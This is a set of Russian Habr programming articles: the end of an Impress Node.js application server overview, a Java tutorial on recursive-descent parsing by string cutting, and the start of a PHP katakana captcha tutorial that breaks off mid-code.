5. **Разделение прикладного и системного кода.** Вообще, разделять слои абстракций (более высокого и более низкого уровня) в приложении, гораздо важнее, чем разделять логику с моделью и представлением, в рамках одного слоя абстракций (их иногда даже эффективнее смешать).
6. **Мапинг URL на файловую систему** с наследованием и переопределением по дереву каталогов. Но с возможностью и программно добавлять обработчики прямо в память и прописывать роутинг руками в добавок к автоматическому роутингу по структуре каталогов.
7. **Краткость кода** (см. примеры ниже) достигается благодаря развитому встроенному API, который берет на себя все необходимое в подавляющем большинстве случаев, может расширяться и переиспользоваться от проекта к проекту. Так же краткости способствует особый стиль работы с зонами видимости и разбиение кода на файлы с логическими частями удобного размера.
#### Область применения
IAS рассчитан для создания нескольких типов приложений:
1. Одностраничные веб-приложения с API и динамическим изменением страниц на клиенте без перезагрузки с сервера.
2. Многостраничные веб-приложения с некоторой степенью динамики на страницах через API (логика разделена на клиентскую и серверную).
3. Многостраничные приложения с перезагрузкой страниц при каждом событии (вся логика на сервере).
4. Приложения с двусторонним обменом данными или потоком событий с сервера, интерактивные приложения (обычно это надстройка над вариантами 1 и 2).
5. Сетевое API для доступа к серверу для нативных мобильных и оконных приложений.
Поддерживаются несколько способов создания API
* RPC API — когда URL идентифицирует сетевой метод с набором параметров, порядок вызова важен и как на клиенте, так и на сервере хранится состояние между между вызовами;
* REST API, когда URL идентифицирует ресурс, над ресурсом можно выполнять ограниченное кол-во операций (например HTTP verbs или CRUD), запросы атомарны, нет разницы в порядке вызова, и нет состояния между вызовами;
* Шина событий: одно- или двунаправленный поток клиет-серверного взаимодействия через WebSockets или SSE (Server-Sent Events) используемый для уведомлений или синхронизации состояний объектов между клиентом и сервером;
* Или смешанный способ.
#### Обработчики
Аналогом middleware для IAS является handler (обработчик) — это асинхронная функция, которая имеет два параметра (client и callback) и находится в отдельном файле (из которого и экспортируется). Когда вызывается callback, то сервер приложений IAS узнает, что обработка завершилась. Если функция не вызывает callback дольше таймаута, то IAS возвращает HTTP статус 408 (Request timeout) и фиксирует проблему в логах. Если при вызове обработчика происходит исключение, то IAS берет на себя ответ клиенту, отлов ошибки и восстановление работы оптимальным способом, вплоть до удаления и повторного создания песочницы с испорченными или утекшими структурами данных.
Пример API обработчика:
```
module.exports = function(client, callback) {
dbAlias.equipment.find({ type: client.fields.type }).toArray(function(err, nodes) {
if (!err) callback(nodes);
else callback({ message: 'Equipment of given type not found' }, 404);
});
}
```
Каждый HTTP запрос может вызвать исполнение нескольких обработчиков. Например, если запрошен URL `domain.com/api/example/method.json`, а IAS установлен в `/impress`, то исполнение начнется с каталога `/impress/appplications/domain.com/app/api/example/method.json/` и проходит следующие этапы:
* проверяются права доступа по файлу **access.js** из этого каталога, сессии (если есть) и аккаунту пользователю (если имеется привязанный к сессии),
* выполняется обработчик **request.js** из этого каталога (если найден), он выполняется при вызове любого HTTP метода (get, post...),
* выполняется один из обработчиков соответствующих методу HTTP запроса, например **get.js**, **put.js**, **post.js** и т.д. (если найден),
* выполняется обработчик **end.js** (если найден), он будет вызван при любом HTTP методе,
* произойдет сериализация данных ответа или шаблонизация страницы (если это предусмотрено типом возвращаемого ответа),
* результат выполнения запроса отправляется на клиент,
* уже после этого, когда клиент получил ответ и мы не задерживаем его, выполняются обработчик **lazy.js** (если найден), который может, например, сделать отложенные операции, изменить/пересчитать или сохранить данные в БД,
* на любом этапе исполнения в прикладном коде может произойти ошибка, вызывающая необработанное исключение, но нам не нужно оборачивать код в try/catch или создавать domain, это уже сделано в IAS, при ошибке будет вызван обработчик **error.js** (если найден).
Если в запрашиваемом каталоге нет нужного обработчика, то IAS будет искать его на один каталог выше, пока не дойдет до `/app`. Если обработчик есть в папке, то он может программно вызвать обработчик из каталога выше (или ближайший вверх по дереву) через `client.inherited()`. Таким образом, можно использовать дерево каталогов для формирования наследования и переопределения обработчиков. Например, вы можете формировать данные ответа в обработчике `/api/example/request.js`, а выдавать их в трех форматах: `/api/example/method.json`, `/api/example/method.html` (содержит еще и шаблоны для вывода в html), `/api/example/method.csv` (может содержать дополнительные действия, например, формирования заголовка таблицы). Или сделать общий обработчик ошибок для всего API в файле `/api/error.js`. Такой подход дает большую гибкость и позволяет сократить размеры кода, однако, мы платим за это известными ограничениями.
Расширения у каталогов означают автоматическую отдачу из них контента определенного типа, а значит, установку определенных HTTP заголовков и преобразование результата в нужный формат данных. Все это можно переопределить вручную, но использование расширений сокращает количество кода. Из коробки поддерживаются такие расширения: `.json, .jsonp, .xml, .ajax, .csv, .ws, .sse` и этот список просто расширяем при помощи плагинов.
#### Пространства имен
Внутри обработчика видны следующие имена, через которые мы можем обращаться к функциям IAS и подключенным библиотекам:
* **client** — объект, содержащий распарсенные поля запроса, ссылки на оригинальные request и response, соответственно в `client.req` и `client.res`, API по работе с запросом, ссылки на сессию и авторизованного пользователя;
* **application** — объект, отвечающий за приложение, и содержащий его конфигурацию, параметры и соответствующее API сервера приложений;
* **db** — неймспейс, содержащий ссылки на все загруженные драйвера СУБД и установленные соединения с базами данных, обращаться к ним можно через db[alias] или db.alias;
* **api** — неймспейс, содержащий ссылки на все встроенные и внешние библиотеки, которые были разрешены из конфигурации приложения. Например `api.fs.readFile(...)` или `api.async.parallel(...);`
* **api.impress** — ссылка на API сервера приложений;
* **системные глобальные идентификаторы**, общепринятые для JavaScript и Node.js: `require, console, Buffer, process, setTimeout, clearTimeout, setInterval, clearInterval, setImmediate, clearImmediate`. Но мы можем в конфигурации запретить использование некоторых из них, например, отключив приложению require, и предоставив ему только определенный набор библиотек, автоматически загруженных в его неймспейс api.
Делать require в обработчиках не нужно, достаточно установить библиотеки в папку /impress через npm install и подключить их через конфигурацию /сonfig/sandbox.js (сначала в конфиге IAS, а потом локально в конфиге приложения). Далее библиотеки видны в обработчиках через `api.libName`, точно так же становятся видны и встроенные библиотеки, например, `api.path.extname(...)` и т.д.
Все базы данных и драйверы СУБД видны через db.name. Соединения настраиваются в /config/databases.js (для каждого приложения отдельно), устанавливаются при старте и автоматически восстанавливаются при потере связи. В комплекте идут драйверы для MongoDB, PostgreSQL и MySQL, обернутые в плагины для IAS, при желании за 30 минут можно обернуть в плагины драйвера любой СУБД.
Для типа контента html используется простой встроенный шаблонизатор, он нужен скорее не для полной генерации страниц на стороне сервера, а для сборки layout (основной разметки и расположения кусков интерфейса), а так же, для подстановки немногочисленных значений из структур данных в html. Шаблонизатор содержит инклады и итераторы, но более сложную шаблонизации нужно реализовывать уже в браузере при помощи React, Angular, EJS и т.д., запрашивая шаблоны и данные отдельно и собирая их в браузере (с переиспользованием шаблонов), что типично для динамических веб-приложений. Встроенный же шаблонизатор, начинает рендеринг с файла `html.template` и подставляет в него данные из `client.context.data`. Конструкция `@fieldName@` подставит значение из поля, конструкция `@[file]@` вставит файл `file.template`, а конструкция `@[name]@ ... @[/name]@` реализует итератор по хешу или массиву с именем name.
Для обработчиков, возвращающих сериализованные данные (.json, .jsonp, .csv и т.д.) шаблонизация не нужна. Для них структура данных `client.context.data` просто сериализуется в JSON (с отсеканием рекурсии). Для удобства можно возвращать структуру данных из обработчика первым параметром `callback({ field: "value" });` Если один обработчик вернул в callback данные или присвоил их в `client.context.data`, то следующие за ним (до конца жизни текущего HTTP запроса) могут читать и изменять данные.
Обработчики могут изменять http код статуса, добавлять свои http заголовки, но в штатном режиме они работают только с объектом client, у которого есть методы безопасного API: `client.error(code), client.download(filePath, attachmentName, callback), client.cache(timeout), client.end(output)` и т.д. Начиная с версии 0.1.157 в IAS реализована частичная поддержка обработчиков middleware, имеющих 3 параметра: req, res и next. Но нужно это крайне редко, а код, портированный из проектов на express или connect, обычно можно переписать в несколько раз короче и проще.
Создавать обработчики обоих типов, т.е. handler (с 2я параметрами) и middleware (с 3я параметрами) можно не только из файлов, а добавляя роутинг вручную, через вызовы методов, например:
```
application.get('/helloWorld.ajax', function(req, res, next) {
res.write('Middleware handler style
========================
');
next();
});
```
#### Структура приложения
Серверный код не ограничивается обработчиками, приложение так же может содержать модель предметной области, специализированные библиотеки и утилиты, используемые во многих обработчиках, и другие «места», для размещения логики и данных. Все приложения, запускаемые в IAS размещаются в каталоге /applications и имеют следующую структуру:
* **/app** — корневой каталог обработчиков, соответствующий корню сайта `hostname`,
* **/config** — конфигурация приложения,
* **/doc** — документация и вспомогательные материалы,
* **/files** — каталог для размещения загруженных пользователем файлов (в нем автоматически строится 2-х или 3-х уровневая система подкаталогов, чтобы не перегружать файловую систему большим количеством файлов),
* **/init** — код инициализации, запускаемый при старте сервера (тут можно программно создавать обработчики, подготавливать структуры данных в памяти, открывать tcp порты, и т.д.),
* **/lib** — каталог для библиотек и утилит, которые загружаются при старте (но после инициализации) и доступны из всего кода приложения,
* **/log** — каталог для логов (если в конфигурации настроено отдельное логирование для этого приложения),
* **/model** — каталог для моделей предметной области (так же загружается при старте, но после инициализации),
* **/setup** — размещенные в этом каталоге js-файлы будут запущены только 1 раз при рестарте IAS или всего сервера, это место необходимо для скриптов обновлений или миграции, которые необходимы для поддержания полноценного жизненного цикла приложения уже во время его эксплуатации,
* **/tasks** — каталог для размещения запланированных задач, которые бывают двух типов: запускаемые приодически, через определенный интервал или запускаемые в назначенное время,
* **/tmp** — каталог для временных файлов.
В ближайших версиях появятся еще такие каталоги ([issue #195](https://github.com/tshemsedinov/impress/issues/195)):
* **/client** — каталог размещения исходников клиентской части,
* **/static** — собранные клиенты потом будут помещаться в `/static`, а в качестве сборщика можно будет использовать несколько наиболее распространенных средств.
#### Функциональность IAS
Пусть эта статья останется вводной, так что, я не буду сейчас подробно описывать весь арсенал IAS и перегружать читателя. Ограничусь простым перечислением основного: регистрация сервисом (демоном), прозрачное масштабирование на много процессов и много серверов, встроенная система пользователей и сессий (в т.ч. анонимных и аутентифицированных), поддержка SSE (Server-Sent Events) и веб-сокетов с системой каналов и подписки на сообщения, поддержка проксирования запросов, URL-реврайтинг, интроспекция сетевого API и выдача индексов каталогов, управление доступом к каталогам через access.js (аналог .htaccess), конфигурирование приложений, логирование, прокручивание логов, отдача статики с кешированием в память, gzip компессия, поддержка HTTP заголовков «if-modified-since» и HTTP 304 (Not Modified), поддержка HTTPS, стриминг файлов с поддержкой отдачи по частям (с указанного места и до указанного места, что обычно используют плееры, например HTML5 video-тег через HTTP заголовки Content-Range и Accept-Ranges), есть скрипты быстрого развертывания сервера для чистых машин (CentOS, Ubuntu, Debian), встроенные механизмы межпроцессового взаимодействия через IPC, HTTP и ZeroMQ, специальное API для синхронизации состояния между процессами, встроенный механизм мониторинга здоровья серверов, подсистема запуска отложенных задач, возможность порождать воркеры (параллельные процессы), валидация структур данных и схем БД, генерация структур данных из схем для SQL-совместимых СУБД, автоматическая обработка ошибок и длинного стека, оптимизация сбора мусора, экранирование песочниц (sandboxes), поддержка HTTP basic authentication, обработка виртуальных хостов и виртуальных путей, приклеивание IP (sticky), плагины (в т.ч. passport, geoip, nodemailer, минификации js, трансляции sass и т.д.), подсистема юнит-тестирования, утилиты для upload/download файлов и многое другое.
#### Заключение
Impress (IAS) активно развивается, каждую неделю появляется от 4 до 7 минорных версий. Сейчас актуальна версия 0.1.195 и на подходе версия 0.2, в которой мы зафиксируем структуру приложений и базовое API, соблюдая обратную совместимость для всех 0.2.x версий. В 0.2.x мы будем заниматься только вопросами оптимизации и исправлением ошибок, а расширение функциональности будет возможно только если это не потребует редизайна приложений, основанных на 0.2.x. Все крупные нововведения и эксперименты будут параллельно вводиться в ветке 0.3.x. Приглашаю всех желающих развивать проект, а со своей стороны обещаю поддерживать код, как минимум, до тех пор, пока это актуально. Версия же 1.0 появится только тогда, когда я пойму, что независимые разработчики полностью в состоянии поддерживать код. Сейчас готовится документация, которая до этого была невозможна из-за того, что структура и архитектура часто менялась, я опубликую ссылку на нее по готовности версии 0.2. До этого подробнее ознакомиться с IAS можно по примерам, которые устанавливаются вместе с IAS, как приложение по умолчанию.
Немного цифр по состоянию на 2015-01-11: загрузок из npm вчера: 1 338, за эту неделю: 5 997, за последний месяц: 21 223, звезд на github: 168, вклад в репозиторий: 8 человек, строк кода: 6 120, размер исходников: 207 Кб (из них ядро: 118Кб), усредненная цикломатическая сложность кода: 20, кол-во закрытых issues в github: 151, открытых issues: 9, дата первой опубликованной версии: 2013-06-08, кол-во сборок в Travis CI: 233, кол-во коммитов github: 468.
#### Ссылки
NPM: [www.npmjs.com/package/impress](https://www.npmjs.com/package/impress)
Github: [github.com/tshemsedinov/impress](https://github.com/tshemsedinov/impress) | https://habr.com/ru/post/247543/ | null | ru | null |
# Про LL-парсинг: Подход к синтаксическому анализу через концепцию нарезания строки
Приветствую уважаемое сообщество!
Повторение — мать учения, а разбираться в синтаксическом анализе — очень полезный навык для любого программиста, поэтому хочу еще раз поднять эту тему и поговорить в этот раз про анализ методом рекурсивного спуска (LL), обойдясь без лишних формализмов (к ним потом всегда можно будет вернуться).
Как пишет великий Д. Строгов, «понять — значит упростить». Поэтому, чтобы понять концепцию синтаксического разбора методом рекурсивного спуска (оно же LL-парсинг), упростим задачу насколько можно и вручную напишем синтаксический анализатор формата, похожего на JSON, но более простого (при желании можно будет потом его расширить до анализатора полноценного JSON, если захочется поупражняться). Напишем его, взяв за основу идею **нарезания строки**.
В классических книгах и курсах по конструированию компиляторов обычно начинают объяснять тему синтаксического разбора и интерпретации, выделяя несколько фаз:
* Лексический анализ: разбиение исходного текста на массив подстрок (лексем, или токенов)
* Синтаксический анализ: построение из массива лексем дерева синтаксического разбора
* Интерпретация (или компиляция): обход полученного дерева в нужном (прямом или обратном) порядке и выполнение каких-то действий по интерпретации или кодогенерации на некоторых шагах этого обхода
**на самом деле не совсем так,**потому что в процессе разбора мы получаем уже последовательность шагов, представляющих собой последовательность посещения узлов дерева, самого же дерева в явном виде может вообще не быть, но не будем пока углубляться. Для тех, кто хочет углубиться, в конце есть ссылки.
Я сейчас хочу использовать немного другой подход к этой же самой концепции (LL-разбора) и показать, как можно построить LL-анализатор, взяв за основу идею нарезания строки: от исходной строки в процессе разбора отрезаются фрагменты, она становится меньше, а затем разбору подвергается оставшаяся часть строки. В итоге мы придем к той же самой концепции рекурсивного спуска, но немного другим путем, чем это обычно делается. Возможно, этот путь окажется удобнее для понимания сути идеи. А если и нет, то это все равно возможность посмотреть на рекурсивный спуск с другого ракурса.
Начнем с более простой задачи: есть строка с разделителями, и хочется написать итерацию по ее значениям. Что-то вроде:
```
String names = "ivanov;petrov;sidorov";
for (String name in names) {
echo("Hello, " + name);
}
```
Как это можно сделать? Стандартный способ — преобразовать строку с разделителями в массив или список с помощью String.split (в Java), или names.split(",") (в javascript), и сделать итерацию уже по массиву. Но представим, что преобразование в массив использовать не хотим или не можем (например, ну вдруг если мы программируем на языке программирования AVAJ++, в котором нету структуры данных “массив”). Можно еще сканировать строку и отслеживать разделители, но этот способ я использовать тоже не буду, потому что он делает код цикла итерации громоздким и, главное, это идет вразрез с концепцией, которую я хочу показать. Поэтому мы будем относиться к строке с разделителями таким же образом, как относятся к спискам в функциональном программировании. А там для них всегда определяют функции head (получить первый элемент списка) и tail (получить остаток списка). Начиная еще с первых диалектов лиспа, где эти функции назывались совершенно ужасно и неинтуитивно: car и cdr (car = content of address register, cdr = content of decrement register. Преданья старины глубокой, да, эхехех.).
Наша строка — это строка с разделителями. Подсветим разделители фиолетовым:
А элементы списка подсветим желтым:
Будем считать, что наша строка мутабельна (ее можно изменять) и напишем функцию:
Ее сигнатура, например, может быть такой:
```
public boolean cutNextToken(StringBuilder svList, String separator, StringBuilder token)
```
На вход функции даем список (в виде строки с разделителями) и, собственно, значение разделителя. На выходе функция выдает первый элемент списка (отрезок строки до первого разделителя), остаток списка и признак, удалось ли вернуть первый элемент. При этом остаток списка помещается в ту же переменную, где был исходный список.
В результате мы получили возможность написать вот так:
```
StringBuilder names = new StringBuilder("ivanov;petrov;sidorov");
StringBuilder name = new StringBuilder();
while(cutNextToken(names, ";", name)) {
System.out.println(name);
}
```
Выводит, как и ожидалось:
ivanov
petrov
sidorov
Мы обошлись без конвертации в ArrayList, но зато испортили переменную names, и в ней теперь пустая строка. Выглядит пока не очень полезно, как будто поменяли шило на мыло. Но давайте пойдем дальше. Там мы увидим, зачем это было надо и куда это нас приведет.
Давайте теперь разбирать что-нибудь поинтереснее: список из пар “ключ-значение”. Это тоже очень частая задача.
```
StringBuilder pairs = new StringBuilder("name=ivan;surname=ivanov;middlename=ivanovich");
StringBuilder pair = new StringBuilder();
while (cutNextToken(pairs, ";", pair)) {
StringBuilder paramName = new StringBuilder();
StringBuilder paramValue = new StringBuilder();
cutNextToken(pair, "=", paramName);
cutNextToken(pair, "=", paramValue);
System.out.println("param with name \"" + paramName
+ "\" has value of \"" + paramValue + "\"");
}
```
Вывод:
```
param with name "name" has value of "ivan"
param with name "surname" has value of "ivanov"
param with name "middlename" has value of "ivanovich"
```
Тоже ожидаемо. И то же самое можно достичь с помощью String.split, без нарезания строк.
Но допустим, что теперь нам захотелось усложнить наш формат и от плоского key-value перейти к формату, допускающему вложенность, напоминающему JSON. Теперь мы хотим читать что-то такое:
```
{'name':'ivan','surname':'ivanov','birthdate':{'year':'1984','month':'october','day':'06'}}
```
По какому разделителю делать split? Если по запятой, то в одном из токенов у нас окажется строка
```
'birthdate':{'year':'1984'
```
Явно не то, что нам нужно. Поэтому надо обратить внимание на структуру той строки, которую мы хотим разобрать.
Она начинается с фигурной скобки и заканчивается фигурной скобкой (парной к ней, что важно). Внутри этих скобок находится список пар 'ключ':'значение', каждая пара отделена от следующей пары запятой. Ключ и значение разделяется двоеточием. Ключ — это строка из букв, заключенная в апострофы. Значение может быть строкой символов, заключенных в апострофы, а может быть такой же структурой, начинающейся и заканчивающейся парными фигурными скобками. Назовем такую структуру словом “объект”, как и принято называть ее в JSON.
Только что мы в неформальной форме описали грамматику нашего, напоминающего JSON, формата. Обычно грамматики описываются наоборот, в формальной форме, и для их записи применяется BNF-нотация или ее вариации. Но сейчас я обойдусь без этого, и мы просто посмотрим, как можно “нарезать” эту строку, чтобы ее по правилам этой грамматики разобрать.
В самом деле, наш “объект” начинается с открывающей фигурной скобки и заканчивается парной ей закрывающей. Что может делать функция, разбирающая такой формат? Скорее всего, следующее:
* проверить, что переданная строка начинается с открывающей фигурной скобки
* проверить, что переданная строка заканчивается на парную закрывающую фигурную скобку
* если оба условия верны, отрезать открывающую и закрывающую скобку, и то, что осталось, передать в функцию, разбирающую список пар 'ключ':'значение'
Обратите внимание: появились слова “функция, разбирающая такой формат” и “функция, разбирающая список пар ‘ключ’:’значение’”. У нас появились две функции! Это те самые функции, которые в классическом описании алгоритма рекурсивного спуска называются “функции разбора нетерминальных символов”, и про которые говорится, что “для каждого нетерминального символа создается своя функция разбора”. Которая, собственно, его и разбирает. Мы могли бы их назвать, допустим, parseJsonObject и parseJsonPairList.
Также теперь нам надо обратить внимание, что у нас появилось понятие “парная скобка” в дополнение к понятию “разделитель”. Если для нарезания строки до следующего разделителя (двоеточие между ключом и значением, запятая между парами “ключ: значение”) нам было достаточно функции cutNextToken, то теперь, когда в качестве значения у нас может выступать не только строка, но и объект, нам понадобится функция “отрезать до следующей парной скобки”. Примерно такая:
Эта функция отрезает от строки фрагмент от открывающей скобки до парной ей закрывающей, учитывая вложенные скобки, если они есть. Конечно, можно не ограничиваться скобками, а использовать подобную функцию для отрезания разных блочных структур, допускающих вложенность: операторных блоков begin..end, if..endif, for..endfor и аналогичных им.
Нарисуем графически, что будет происходить со строкой. Бирюзовый цвет — это значит мы сканируем строку вперед на символ, выделенный бирюзовым, чтобы определить, что нам делать дальше. Фиолетовый — это “что отрезать, это когда мы отрезаем от строки фрагменты, выделенные фиолетовым, и то, что осталось, продолжаем разбирать дальше.
Для сравнения, вывод программы (текст программы приведен в приложении), разбирающей эту строку:
Демонстрация разбора JSON-подобной структуры
```
ok, about to parse JSON object {'name':'ivan','surname':'ivanov','birthdate':{'year':'1984','month':'october','day':'06'}}
ok, about to parse pair list 'name':'ivan','surname':'ivanov','birthdate':{'year':'1984','month':'october','day':'06'}
found KEY: 'name'
found VALUE of type STRING:'ivan'
ok, about to parse pair list 'surname':'ivanov','birthdate':{'year':'1984','month':'october','day':'06'}
found KEY: 'surname'
found VALUE of type STRING:'ivanov'
ok, about to parse pair list 'birthdate':{'year':'1984','month':'october','day':'06'}
found KEY: 'birthdate'
found VALUE of type OBJECT:{'year':'1984','month':'october','day':'06'}
ok, about to parse JSON object {'year':'1984','month':'october','day':'06'}
ok, about to parse pair list 'year':'1984','month':'october','day':'06'
found KEY: 'year'
found VALUE of type STRING:'1984'
ok, about to parse pair list 'month':'october','day':'06'
found KEY: 'month'
found VALUE of type STRING:'october'
ok, about to parse pair list 'day':'06'
found KEY: 'day'
found VALUE of type STRING:'06'
```
Мы в любой момент знаем, что мы ожидаем найти в нашей входной строке. Если мы вошли в функцию parseJsonObject, то мы ожидаем, что нам туда передали объект, и можем это проверить по наличию открывающей и закрывающей скобки в начале и в конце. Если мы вошли в функцию parseJsonPairList, то мы ожидаем там список пар “ключ: значение”, и после того, как мы “откусили” ключ (до разделителя “:”), мы ожидаем, что следующее, что мы “откусываем” — это значение. Мы можем посмотреть на первый символ значения, и сделать вывод о его типе (если апостроф — то значение имеет тип “строка”, если открывающая фигурная скобка — то значение имеет тип “объект”).
Таким образом, отрезая от строки фрагменты, мы можем выполнить ее синтаксический разбор методом нисходящего анализа (рекурсивного спуска). А когда мы можем выполнить синтаксический разбор, то мы можем разбирать нужный нам формат. Или придумать свой, удобный нам формат и разбирать его. Или придумать DSL (Domain Specific Language) для нашей конкретной области и сконструировать интерпретатор для него. И сконструировать правильно, без вымученных решений на регекспах или самопальных state-машинах, которые возникают у программистов, которые пытаются решить какую-нибудь задачу, требующую синтаксического разбора, но не вполне владеют материалом.
Вот. Поздравляю всех с наступившим летом и желаю добра, любви и функциональных парсеров :)
Для дальнейшего чтения:
Идеологическое: пара длинных, но стоящих прочтения статей Стива Йегге (англ.):
[Rich Programmer Food](http://steve-yegge.blogspot.com/2007/06/rich-programmer-food.html)
Пара цитат оттуда:
> You either learn compilers and start writing your own DSLs, or your get yourself a better language
> The first big phase of the compilation pipeline is parsing
[The Pinocchio Problem](http://steve-yegge.blogspot.com/2007/01/pinocchio-problem.html)
Цитата оттуда:
> Type casts, narrowing and widening conversions, friend functions to bypass the standard class protections, **stuffing minilanguages into strings and parsing them out by hand**, there are dozens of ways to bypass the type systems in Java and C++, and programmers use them all the time, because (little do they know) they're actually trying to build software, not hardware.
Техническое: две статьи, посвященных синтаксическому анализу, про отличие LL и LR-подходов (англ.):
[LL and LR Parsing Demystified](http://blog.reverberate.org/2013/07/ll-and-lr-parsing-demystified.html)
[LL and LR in Context: Why Parsing Tools Are Hard](http://blog.reverberate.org/2013/09/ll-and-lr-in-context-why-parsing-tools.html)
И еще глубже в тему: как написать интерпретатор Лиспа на C++
[Lisp interpreter in 90 lines of C++](http://howtowriteaprogram.blogspot.com/2010/11/lisp-interpreter-in-90-lines-of-c.html)
**Приложение. Пример программного кода (java), реализующего анализатор, описанный в статье:**
```
package demoll;
public class DemoLL {
public boolean cutNextToken(StringBuilder svList, String separator, StringBuilder token) {
String s = svList.toString();
if (s.trim().isEmpty()){
return false;
}
int sepIndex = s.indexOf(separator);
if (sepIndex == -1) { // разделитель не найден, последний элемент списка
token.setLength(0);
token.append(s);
svList.setLength(0);
}
else {
String t = s.substring(0, sepIndex);
String restOfString = s.substring(sepIndex + separator.length(), s.length());
svList.setLength(0);
svList.append(restOfString);
token.setLength(0);
token.append(t);
}
return true;
}
// "{hello world}:again" -> "{hello world}", ":again"
//"{'year':'1980','month':'october','day':'06'},'key1':'value1','key2':'value2'" -> "{'year':'1980','month':'october','day':'06'}", ",'key1':'value1','key2':'value2'"
public void cutTillMatchingParen(StringBuilder sbSrc, String openParen, String closeParen, StringBuilder matchPart){
String src = sbSrc.toString();
matchPart.setLength(0);
int openParenCount = 0;
String state = "not_copying";
for (int i = 0; i < src.length(); i++){
String cs = String.valueOf(src.charAt(i)); // cs - current symbol
if (state.equals("not_copying")){
if (cs.equals(openParen)) {
state = "copying";
}
}
if (state.equals("copying")){
matchPart.append(cs);
if (cs.equals(openParen)){
openParenCount = openParenCount + 1;
}
if (cs.equals(closeParen)) {
openParenCount = openParenCount - 1;
}
if (openParenCount == 0) {
break;
}
}
}
sbSrc.setLength(0);
sbSrc.append(src.substring(matchPart.length(), src.length()));
}
public void parseJsonObject(String s) {
System.out.println("ok, about to parse JSON object " + s);
if (s.charAt(0) == '{' && s.charAt(s.length() - 1) == '}')
{
String pairList = s.substring(1, s.length() - 1).trim();
parseJsonPairList(pairList);
}
else {
System.out.println("Syntax error: not a JSON object. Must start with { and end with }");
}
}
public void parseJsonPairList(String pairList) {
pairList = pairList.trim();
if (pairList.isEmpty()) {
//System.out.println("pairList is empty");
return;
}
System.out.println("ok, about to parse pair list " + pairList);
if (pairList.charAt(0) != '\'') {
System.out.println("syntax error: key must be of type STRING, input: + pairList");
return;
}
StringBuilder key = new StringBuilder();
StringBuilder sbPairList = new StringBuilder(pairList);
this.cutNextToken(sbPairList, ":", key); // sbPairList стал короче, если был "name":"ivan"..., то остался "ivan"...
System.out.println("found KEY: " + key);
// checking type of value - may be String or Object
StringBuilder value = new StringBuilder();
if (sbPairList.charAt(0) == '{') {
cutTillMatchingParen(sbPairList, "{", "}", value);
System.out.println("found VALUE of type OBJECT:" + value);
parseJsonObject(value.toString());
StringBuilder emptyString = new StringBuilder();
cutNextToken(sbPairList, ",", emptyString);
}
else if (sbPairList.charAt(0) == '\'') {
this.cutNextToken(sbPairList, ",", value);
System.out.println("found VALUE of type STRING:" + value);
}
else {
System.out.println("syntax error: VALUE must be either STRING or OBJECT");
return;
}
parseJsonPairList(sbPairList.toString());
}
public static void main(String[] args){
DemoLL d = new DemoLL();
System.out.println("Демонстрация разбора пар \"ключ=значение\"");
StringBuilder pairs = new StringBuilder("name=ivan;surname=ivanov;middlename=ivanovich");
StringBuilder pair = new StringBuilder();
while (d.cutNextToken(pairs, ";", pair)) {
StringBuilder paramName = new StringBuilder();
StringBuilder paramValue = new StringBuilder();
d.cutNextToken(pair, "=", paramName);
d.cutNextToken(pair, "=", paramValue);
System.out.println("param with name \"" + paramName + "\" has value of \"" + paramValue + "\"");
}
System.out.println("Демонстрация разбора JSON-подобной структуры");
String s = "{'name':'ivan','surname':'ivanov','birthdate':{'year':'1984','month':'october','day':'06'}}";
d.parseJsonObject(s);
}
}
``` | https://habr.com/ru/post/412905/ | null | ru | null |
# Кана-капча на PHP — это просто!
В этом топике я кратко расскажу о кана-капче, что она из себя представляет, как она работает и как ее сделать средствами PHP.
#### Катакана
В японском языке для записи используются две слоговые азбуки (катакана, хирагана) и про-китайские иероглифы (кандзи). К слову, кандзи имеют мало общего в произношении с китайскими иероглифами. В Японию их завезли еще в начале нашей эры и развивались они своим путем (манъёгана). Кандзей существует бесчисленное количество (предельной степенью образованности японца считается знание 2-4 тыс. кандзи). В случае со слоговыми азбуками все проще, хирагана (может использоваться для записи чего угодно) располагает 47 базовыми знаками, то же количество символов имеется и в катакане (используется в основном для записи заимствованных слов, к примеру モニタ (мо-ни-та) — монитор).
Слоговые азбуки называются так именно потому, что каждый символ — это слог, состоящий из одной согласной и одной гласной буквы (за исключением гласных и согласной «н», у этих знаков есть свои символы). Основной считается хирагана (в некоторых случаях над кандзями прописывают транскрипцию хираганой, для удобства малообразованных людей), второстепенной же является катакана. Именно ее мы сегодня и рассмотрим.
А рассмотрим мы ее потому, что символы катаканы самые простые в написании, следовательно нам, 馬鹿外人, вводить и узнавать их будет проще. К слову, именно катакану японские дети изучают в первую очередь, по той же самой причине.
Маленькое дополнение — на картинке в начале топика катаканой написано "チューリングテスト" (ти-ю-ри-н-гу-те-су-то), что означает «Тест Тьюринга». «Тьюринг» написано катаканой, так как это иностранное имя собственное. В случае с «Тест» причиной является то, что это слово заимствованное.
#### Разработка
Тем временем вспомним, что же для нас, 馬鹿外人, кана-капча. Это изображение с символами катаканы\хираганы, в поле нужно ввести транскрипцию. Просто потому, что не у всех 外人 в системе есть поддержка ввода нужных нам символов.
За основу я возьму [свой скрипт](http://habrahabr.ru/blogs/php/120615/), и лишь чуть-чуть его модифицирую. Для начала определимся с тем, что из себя будет представлять наша кана-капча. Это будут два-три черных символа катаканы на белом фоне + пересекающие черные линии.
Для начала я хочу избавиться от всякого непотребства в моем скрипте. Убираю вырвиглазный фон, делаю текст и линии черными. Получаем вот это:
Теперь пора пихнуть в нашу картинку катакану. Первым делом определимся со шрифтом, для японских слоговых азбук я считаю лучшим вариантом [MS Gothic](http://www.microsoft.com/typography/fonts/font.aspx?FMID=1269), самый симпатичный шрифт. К моему удивлению, .TTC шрифт был воспринят PHP абсолютно нормально. Честно, я ожидал с этим типом TrueType шрифтов много геморроя.
Далее необходимо модифицировать скрипт, который генерирует код капчи. Во-первых, скормим ему новые символы, а именно: "アイウエオカキクケコサシスセソタチツテトナニネヌノハヒフヘホマミムメモヤユヨラリルレロワン". Это все основные символы катаканы. Выглядеть функция генерации будет вот так:
```
function generate_code()
{
$chars = 'アイウエオカキクケコサシスセソタチツテトナニネヌノハヒフヘホマミムメモヤユヨラリルレロワン';
$length = rand(2, 3);
$numChars = mb_strlen($chars, "UTF-8");
$str = '';
for ($i = 0; $i < $length; $i++) {
$str .= mb_substr($chars, rand(1, $numChars) - 1, 1, "UTF-8");
}
return $str;
}
```
Обратите внимание! Я использую мультибайтовые варианты функций strlen и substr.
Затем немножечко потюним рандомные положения символов в скрипте генерации, так же введем мультибайтовые функции:
```
$x = rand(0, 35);
for($i = 0; $i < mb_strlen($code, "UTF-8"); $i++) {
$x+=27;
$letter=mb_substr($code, $i, 1, "UTF-8");
